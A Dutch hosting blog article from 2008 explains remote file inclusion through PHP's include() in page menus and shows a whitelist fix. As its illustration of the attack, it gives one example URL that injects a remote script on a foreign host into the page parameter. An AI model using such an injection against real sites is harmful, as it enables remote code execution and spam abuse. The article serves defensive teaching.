Welkom op de vernieuwde website van AlphamegaHosting.com!

PHP-beveiliging deel 2: Include gebruiken voor je menu

Bob Broen | 2008-06-04 | Hosting

Php is een krachtige scripttaal om internetsites mee te bouwen. Zoals ik in het vorige artikel al gemeld heb, komen we vaak dezelfde beveiligingsrisico's tegen.

In dit artikel wil ik extra aandacht besteden aan de include()-functie (zie ook http://nl.php.net/include). Er zwerven een aantal scripts op internet die uitleggen hoe handig het is om een menu te maken dat de naam van de pagina doorgeeft als parameter, waarna het script met deze parameter een nieuwe pagina opbouwt door een ander bestand in te voegen: include(). Maar zo'n script kan dan misbruikt worden door bijvoorbeeld een andere pagina aan te roepen die ongewenste acties uitvoert, bijvoorbeeld:

mijnscript.php?pagina=http://www.verweggistan.ru/mail/spamrun83778.php.

Wat ik wil doen is een kleine aanpassing laten zien om een menu dat een aanroep doet met een url die eruit ziet als mijnscript.php?pagina=contact veiliger te maken.

Allereerst moeten we de variabele ophalen (zie het vorige artikel) met de naam van de pagina. Vertrouw nooit een waarde afkomstig uit $_POST, $_GET of $COOKIE. Om er zeker van te zijn dat we geen risico lopen op een url-injectie, testen we op alle waardes die toegestaan zijn. Als er een geldige waarde is, dan willen we een lokale pagina insluiten met include(). Hieronder een voorbeeld:

<?php
$paginanaam = isset($_GET['pagina']) ? $_GET['pagina'] : false;
$mogelijkePaginas = array('home', 'contact', 'adres', 'diensten');
if ($paginanaam && in_array($paginanaam, $mogelijkePaginas)) {
include ($_SERVER["DOCUMENT_ROOT"] . "/$paginanaam.html" );
} else {
include ($_SERVER["DOCUMENT_ROOT"] . "/homepage.html" );
}
?>

* Klik hier voor meer uitleg over hoe je deze code op je website kunt plaatsen.

De moraal van dit verhaal: wees voorzichtig met externe variabelen en met include(), include_once(), require() en require_once().

Succes met je PHP-script!

 

Zoek

Doe mee! Word ook WebsiteSupporter!

Ontvang gratis elke week een verbetersuggestie voor je website, inclusief speciaal stappenplan om je site succesvol te maken.

Klik hier om je in te schrijven!

Domeinnaam-check

Domeinnamen v.a. € 1,- p/m. Check of jouw ideale domeinnaam nog vrij is:

www.

Even onthouden

Moet er iets aan je site gebeuren?

En heb je zelf geen tijd, geen zin of geen idee hoe je het moet aanpakken? Laat ons website-klusteam het voor je oplossen!

Klik hier voor meer info. 

Thema van de week:

Hallo Google! Welkom op mijn website!

De scripts van Google die regelmatig langskomen om je site te indexeren zijn natuurlijk ook 'bezoekers' die je het naar de zin moet maken. In het artikel van deze week leer je hoe je die 'crawlers' de juiste info kunt meegeven.

Klik hier voor het artikel.

Informatie

Hopelijk vind je alle informatie die je nodig hebt op deze website. Heb je nog vragen? Klik hier om een bericht te sturen of bel tijdens kantoor-uren met 040-2085353 (NL) of 011/547498 (B).

Ben jij een startende ondernemer?

Dan hebben wij een handig gratis ebook om je op weg te helpen met je online presentatie.

Klik hier om het gratis te downloaden.

Alphamega Hosting heeft een unieke garantie!
Privacy Contact Sitemap Copyright 2012 Alphamega Hosting B.V.